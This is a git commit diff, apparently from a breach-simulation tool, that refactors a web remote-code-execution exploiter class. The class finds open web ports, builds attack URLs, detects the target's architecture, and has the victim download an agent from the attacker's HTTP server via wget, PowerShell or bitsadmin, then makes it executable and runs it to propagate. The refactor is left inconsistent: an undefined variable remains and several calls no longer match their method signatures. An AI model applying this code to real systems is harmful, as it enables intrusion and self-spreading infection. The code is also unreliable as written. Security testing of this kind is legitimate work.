Fixed half of the notes and added a small tcp_port_to_service method in network/tools

no message
This commit is contained in:
Vakaris 2018-08-08 17:57:34 +03:00
parent 8e684a3fad
commit d1a29872c4
5 changed files with 110 additions and 120 deletions

View File

@ -388,6 +388,15 @@ class HTTPTools(object):
@staticmethod @staticmethod
def create_locked_transfer(host, src_path, lock, local_ip=None, local_port=None): def create_locked_transfer(host, src_path, lock, local_ip=None, local_port=None):
"""
Create http server for file transfer with lock
:param host: Variable with target's information
:param src_path: Monkey's path on current system
:param lock: Instance of lock
:param local_ip:
:param local_port:
:return:
"""
if not local_port: if not local_port:
local_port = get_free_tcp_port() local_port = get_free_tcp_port()

View File

@ -7,12 +7,13 @@ from posixpath import join
import re import re
from abc import abstractmethod from abc import abstractmethod
from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
from network.tools import check_tcp_port from network.tools import check_tcp_port, tcp_port_to_service
__author__ = 'VakarisZ' __author__ = 'VakarisZ'
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
class WebRCE(HostExploiter): class WebRCE(HostExploiter):
def __init__(self, host): def __init__(self, host):
@ -29,45 +30,58 @@ class WebRCE(HostExploiter):
def exploit(self, url, command): def exploit(self, url, command):
""" """
A reference to a method which implements web exploit logic. A reference to a method which implements web exploit logic.
:param url: Url where to send maliciuos packet :param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension.
:param command: Command which will be executed on remote host :param command: Command which will be executed on remote host
:return: Command's output string. Or True/False if it's a blind exploit :return: Command's output string. Or True/False if it's a blind exploit
""" """
raise NotImplementedError() raise NotImplementedError()
@staticmethod def get_open_service_ports(self, port_list, names):
def get_open_service_ports(host, port_list, names):
""" """
:param host: Host machine we are dealing with
:param port_list: Potential ports to exploit. For example _config.HTTP_PORTS :param port_list: Potential ports to exploit. For example _config.HTTP_PORTS
:param names: [] of service names. Example: ["http"] :param names: [] of service names. Example: ["http"]
:return: Returns all open ports from port list that are of service names :return: Returns all open ports from port list that are of service names
""" """
candidate_services = {} candidate_services = {}
for name in names: candidate_services.update({
chosen_services = { service: self.host.services[service] for service in self.host.services if
service: host.services[service] for service in host.services if (self.host.services[service]['name'] in names)
('name' in host.services[service]) and (host.services[service]['name'] == name) })
}
candidate_services.update(chosen_services)
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
'tcp-' + str(port) in candidate_services] tcp_port_to_service(port) in candidate_services]
return valid_ports return valid_ports
@staticmethod def check_if_port_open(self, port):
def check_if_port_open(host, port): is_open, _ = check_tcp_port(self.host.ip_addr, port)
is_open, _ = check_tcp_port(host.ip_addr, port)
if not is_open: if not is_open:
LOG.info("Port %s is closed on %r, skipping", port, host) LOG.info("Port %d is closed on %r, skipping", port, self.host)
return False return False
return True return True
@staticmethod def get_command(self, path, http_path, commands):
def check_if_exploitable(exploiter, url): if 'linux' in self.host.os['type']:
command = commands['linux']
else:
command = commands['windows']
# Format command
try: try:
resp = exploiter(url, CHECK_COMMAND) command = command % {'monkey_path': path, 'http_path': http_path}
except KeyError:
LOG.error("Trying to exploit linux host, but linux command is missing/bad! "
"Check upload_monkey function docs.")
return False
return command
def check_if_exploitable(self, url):
"""
Checks if target is exploitable by interacting with url
:param url: Url to exploit
:return: True if exploitable and false if not
"""
try:
resp = self.exploit(url, CHECK_COMMAND)
if resp is True: if resp is True:
return True return True
elif resp is not False and ID_STRING in resp: elif resp is not False and ID_STRING in resp:
@ -78,46 +92,38 @@ class WebRCE(HostExploiter):
LOG.error("Host's exploitability check failed due to: %s" % e) LOG.error("Host's exploitability check failed due to: %s" % e)
return False return False
@staticmethod def build_potential_urls(self, ports, extensions=None):
def build_potential_urls(host, ports, extensions=None):
""" """
:param host: Domain part of url, for example ip of host :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
:param ports: Array [ port.nr, isHTTPS? ] Eg. ports: [[80, False], [443, True]]
:param extensions: What subdirectories to scan. www.domain.com[/extension] :param extensions: What subdirectories to scan. www.domain.com[/extension]
:return: Array of url's to try and attack :return: Array of url's to try and attack
""" """
url_list = [] url_list = []
if extensions is None: if extensions:
for port in ports:
if port[1]:
url_list.append(("https://%s:%s" % (host.ip_addr, port[0])))
else:
url_list.append(("http://%s:%s" % (host.ip_addr, port[0])))
else:
# We parse extensions not to start with /
for idx, extension in enumerate(extensions): for idx, extension in enumerate(extensions):
if '/' in extension[0]: if '/' in extension[0]:
extensions[idx] = extension[1:] extensions[idx] = extension[1:]
else:
extensions = [""]
for port in ports: for port in ports:
for extension in extensions: for extension in extensions:
if port[1]: if port[1]:
url_list.append(join(("https://%s:%s" % (host.ip_addr, port[0])), extension)) protocol = "https"
else: else:
url_list.append(join(("http://%s:%s" % (host.ip_addr, port[0])), extension)) protocol = "http"
url_list.append(join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension))
if not url_list: if not url_list:
LOG.info("No attack url's were built") LOG.info("No attack url's were built")
return url_list return url_list
@staticmethod def get_host_arch(self, url):
def get_host_arch(host, exploiter, url):
""" """
:param host: Host parameter
:param exploiter: Function with exploit logic. exploiter(url, command)
:param url: Url for exploiter to use :param url: Url for exploiter to use
:return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ... :return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ...
""" """
if 'linux' in host.os['type']: if 'linux' in self.host.os['type']:
resp = exploiter(url, ARCH_LINUX) resp = self.exploit(url, ARCH_LINUX)
if resp: if resp:
# Pulls architecture string # Pulls architecture string
arch = re.search('(?<=Architecture:)\s+(\w+)', resp) arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
@ -130,7 +136,7 @@ class WebRCE(HostExploiter):
else: else:
return False return False
else: else:
resp = exploiter(url, ARCH_WINDOWS) resp = self.exploit(url, ARCH_WINDOWS)
if resp: if resp:
if "64-bit" in resp: if "64-bit" in resp:
return "64" return "64"
@ -139,42 +145,34 @@ class WebRCE(HostExploiter):
else: else:
return False return False
@staticmethod def check_remote_file(self, url, path):
def check_remote_file(exploiter, url, path):
command = EXISTS % path command = EXISTS % path
resp = exploiter(url, command) resp = self.exploit(url, command)
if 'No such file' in resp: if 'No such file' in resp:
return False return False
else: else:
LOG.info("Host %s was already infected under the current configuration, done" % host) LOG.info("Host %s was already infected under the current configuration, done" % host)
return True return True
@staticmethod def check_remote_files(self, url):
def check_remote_files(host, exploiter, url, config):
""" """
Checks if any monkey files are present on remote host
:param host: Host parameter
:param exploiter: Function with exploit logic. exploiter(url, command)
:param url: Url for exploiter to use :param url: Url for exploiter to use
:param config: Monkey config from which paths are taken
:return: True if at least one file is found, False otherwise :return: True if at least one file is found, False otherwise
""" """
paths = [] paths = []
if 'linux' in host.os['type']: if 'linux' in self.host.os['type']:
paths.append(config.dropper_target_path_linux) paths.append(self._config.dropper_target_path_linux)
else: else:
paths.append(config.dropper_target_path_win_32) paths.append(self._config.dropper_target_path_win_32)
paths.append(config.dropper_target_path_win_64) paths.append(self._config.dropper_target_path_win_64)
for path in paths: for path in paths:
if WebRCE.check_remote_file(exploiter, url, path): if self.check_remote_file(url, path):
return True return True
return False return False
@staticmethod def get_monkey_dest_path(self, src_path):
def get_monkey_dest_path(config, src_path):
""" """
Gets destination path from source path. Gets destination path from source path.
:param config: monkey configuration
:param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe :param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe
:return: Corresponding monkey path from configuration :return: Corresponding monkey path from configuration
""" """
@ -183,46 +181,36 @@ class WebRCE(HostExploiter):
return False return False
try: try:
if 'linux' in src_path: if 'linux' in src_path:
return config.dropper_target_path_linux return self._config.dropper_target_path_linux
elif "windows-32" in src_path: elif "windows-32" in src_path:
return config.dropper_target_path_win_32 return self._config.dropper_target_path_win_32
else: else:
return config.dropper_target_path_win_64 return self._config.dropper_target_path_win_64
except AttributeError: except AttributeError:
LOG.error("Seems like configuration properties names changed. " LOG.error("Seems like configuration properties names changed. "
"Can not get destination path to upload monkey") "Can not get destination path to upload monkey")
return False return False
# Wrapped functions: # Wrapped functions:
def get_ports_w(self, ports, names):
@staticmethod ports = WebRCE.get_open_service_ports(self.host, ports, names)
def get_ports_w(host, ports, names, log_msg=None): if not ports:
ports = WebRCE.get_open_service_ports(host, ports, names)
if not ports and not log_msg:
LOG.info("All default web ports are closed on %r, skipping", host) LOG.info("All default web ports are closed on %r, skipping", host)
return False return False
elif not ports and log_msg:
LOG.info(log_msg)
return False
else: else:
return ports return ports
@staticmethod def set_host_arch(self, exploiter, url):
def set_host_arch(host, exploiter, url): arch = WebRCE.get_host_arch(exploiter, url)
arch = WebRCE.get_host_arch(host, exploiter, url)
if not arch: if not arch:
LOG.error("Couldn't get host machine's architecture") LOG.error("Couldn't get host machine's architecture")
return False return False
else: else:
host.os['machine'] = arch self.host.os['machine'] = arch
return True return True
@staticmethod def upload_monkey(self, url, commands=None):
def upload_monkey(host, config, exploiter, url, commands=None):
""" """
:param host: Where we are trying to upload
:param exploiter:exploiter(url, command) Method that implements web RCE
:param config: Monkey config, to get the path where to place uploaded monkey
:param url: Where exploiter should send it's request :param url: Where exploiter should send it's request
:param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD} :param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD}
Command must have "monkey_path" and "http_path" format parameters. Command must have "monkey_path" and "http_path" format parameters.
@ -236,7 +224,7 @@ class WebRCE(HostExploiter):
# Determine which destination path to use # Determine which destination path to use
LOG.debug("Monkey path found") LOG.debug("Monkey path found")
lock = Lock() lock = Lock()
path = WebRCE.get_monkey_dest_path(config, src_path) path = WebRCE.get_monkey_dest_path(self._config, src_path)
if not path: if not path:
return False return False
# To avoid race conditions we pass a locked lock to http servers thread # To avoid race conditions we pass a locked lock to http servers thread
@ -248,60 +236,44 @@ class WebRCE(HostExploiter):
LOG.debug("Exploiter failed, http transfer creation failed.") LOG.debug("Exploiter failed, http transfer creation failed.")
return False return False
LOG.info("Started http server on %s", http_path) LOG.info("Started http server on %s", http_path)
if not host.os['type']: if not self.host.os['type']:
LOG.error("Unknown target's os type. Skipping.") LOG.error("Unknown target's os type. Skipping.")
return False return False
if 'linux' in host.os['type']: # Choose command:
if not commands: if commands:
command = WGET_HTTP_UPLOAD % {'monkey_path': path, 'http_path': http_path} command = WebRCE.get_command(self.host, path, http_path, commands)
else: else:
try: command = WebRCE.get_command(self.host, path, http_path,
command = commands['linux'] % {'monkey_path': path, 'http_path': http_path} {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD})
except KeyError:
LOG.error("Trying to exploit linux host, but linux command is missing/bad! " resp = self.exploit(url, command)
"Check upload_monkey function docs.")
return False
else:
if not commands:
command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': path, 'http_path': http_path}
else:
try:
command = commands['windows'] % {'monkey_path': path, 'http_path': http_path}
except KeyError:
LOG.error("Trying to exploit windows host, but windows command is missing/bad! "
"Check upload_monkey function docs.")
return False
resp = exploiter(url, command)
if not isinstance(resp, bool) and 'owershell is not recognized' in resp: if not isinstance(resp, bool) and 'owershell is not recognized' in resp:
LOG.info("Powershell not found in host. Using bitsadmin to download.") LOG.info("Powershell not found in host. Using bitsadmin to download.")
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path} backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path}
resp = exploiter(url, backup_command) resp = self.exploit(url, backup_command)
lock.release() lock.release()
http_thread.join(DOWNLOAD_TIMEOUT) http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop() http_thread.stop()
LOG.info("Uploading proccess finished") LOG.info("Uploading process finished")
return {'response': resp, 'path': path} return {'response': resp, 'path': path}
@staticmethod def change_permissions(self, url, path, command=None):
def change_permissions(host, url, exploiter, path, command=None):
""" """
Method for linux hosts. Makes monkey executable Method for linux hosts. Makes monkey executable
:param host: Host info
:param url: Where to send malicious packets :param url: Where to send malicious packets
:param exploiter: exploiter(url, command) Method that implements web RCE.
:param path: Path to monkey on remote host :param path: Path to monkey on remote host
:param command: Formatted command for permission change or None :param command: Formatted command for permission change or None
:return: response, False if failed and True if permission change is not needed :return: response, False if failed and True if permission change is not needed
""" """
LOG.info("Changing monkey's permissions") LOG.info("Changing monkey's permissions")
if 'windows' in host.os['type']: if 'windows' in self.host.os['type']:
LOG.info("Permission change not required for windows") LOG.info("Permission change not required for windows")
return True return True
if not command: if not command:
command = CHMOD_MONKEY % {'monkey_path': path} command = CHMOD_MONKEY % {'monkey_path': path}
try: try:
resp = exploiter(url, command) resp = self.exploit(url, command)
except Exception as e: except Exception as e:
LOG.error("Something went wrong while trying to change permission: %s" % e) LOG.error("Something went wrong while trying to change permission: %s" % e)
return False return False
@ -314,18 +286,15 @@ class WebRCE(HostExploiter):
LOG.error("Missing permissions to make monkey executable") LOG.error("Missing permissions to make monkey executable")
return False return False
elif 'No such file or directory' in resp: elif 'No such file or directory' in resp:
LOG.error("Could not change persmission because monkey was not found. Check path parameter.") LOG.error("Could not change permission because monkey was not found. Check path parameter.")
return False return False
LOG.info("Permission change finished") LOG.info("Permission change finished")
return resp return resp
@staticmethod def execute_remote_monkey(self, url, path, dropper=False):
def execute_remote_monkey(host, url, exploiter, path, dropper=False):
""" """
This method executes remote monkey This method executes remote monkey
:param host: Host info
:param url: Where to send malicious packets :param url: Where to send malicious packets
:param exploiter: exploiter(url, command) Method that implements web RCE.
:param path: Path to monkey on remote host :param path: Path to monkey on remote host
:param dropper: Should remote monkey be executed with dropper or with monkey arg? :param dropper: Should remote monkey be executed with dropper or with monkey arg?
:return: Response or False if failed :return: Response or False if failed
@ -339,7 +308,7 @@ class WebRCE(HostExploiter):
monkey_cmd = build_monkey_commandline(host, get_monkey_depth() - 1) monkey_cmd = build_monkey_commandline(host, get_monkey_depth() - 1)
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd} command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd}
try: try:
resp = exploiter(url, command) resp = self.exploit(url, command)
# If exploiter returns True / False # If exploiter returns True / False
if type(resp) is bool: if type(resp) is bool:
LOG.info("Execution attempt successfully finished") LOG.info("Execution attempt successfully finished")

View File

@ -2,7 +2,7 @@ from itertools import izip_longest
from random import shuffle from random import shuffle
from network import HostScanner, HostFinger from network import HostScanner, HostFinger
from network.tools import check_tcp_ports from network.tools import check_tcp_ports, tcp_port_to_service
__author__ = 'itamar' __author__ = 'itamar'
@ -31,7 +31,7 @@ class TcpScanner(HostScanner, HostFinger):
ports, banners = check_tcp_ports(host.ip_addr, target_ports, self._config.tcp_scan_timeout / 1000.0, ports, banners = check_tcp_ports(host.ip_addr, target_ports, self._config.tcp_scan_timeout / 1000.0,
self._config.tcp_scan_get_banner) self._config.tcp_scan_get_banner)
for target_port, banner in izip_longest(ports, banners, fillvalue=None): for target_port, banner in izip_longest(ports, banners, fillvalue=None):
service = 'tcp-' + str(target_port) service = tcp_port_to_service(target_port)
host.services[service] = {} host.services[service] = {}
if banner: if banner:
host.services[service]['banner'] = banner host.services[service]['banner'] = banner

View File

@ -154,3 +154,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
except socket.error as exc: except socket.error as exc:
LOG.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc) LOG.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc)
return [], [] return [], []
def tcp_port_to_service(port):
return 'tcp-' + str(port)

View File

@ -183,7 +183,14 @@ class HTTPServer(threading.Thread):
self._stopped = True self._stopped = True
self.join(timeout) self.join(timeout)
class LockedHTTPServer(threading.Thread): class LockedHTTPServer(threading.Thread):
"""
Same as HTTPServer used for file downloads just with locks to avoid racing conditions.
"""
# Seconds to wait until server stops
STOP_TIMEOUT = 5
def __init__(self, local_ip, local_port, filename, lock, max_downloads=1): def __init__(self, local_ip, local_port, filename, lock, max_downloads=1):
self._local_ip = local_ip self._local_ip = local_ip
self._local_port = local_port self._local_port = local_port
@ -210,10 +217,11 @@ class LockedHTTPServer(threading.Thread):
self._stopped = True self._stopped = True
def stop(self, timeout=5): def stop(self, timeout=STOP_TIMEOUT):
self._stopped = True self._stopped = True
self.join(timeout) self.join(timeout)
class HTTPConnectProxy(TransportProxyBase): class HTTPConnectProxy(TransportProxyBase):
def run(self): def run(self):
httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler) httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)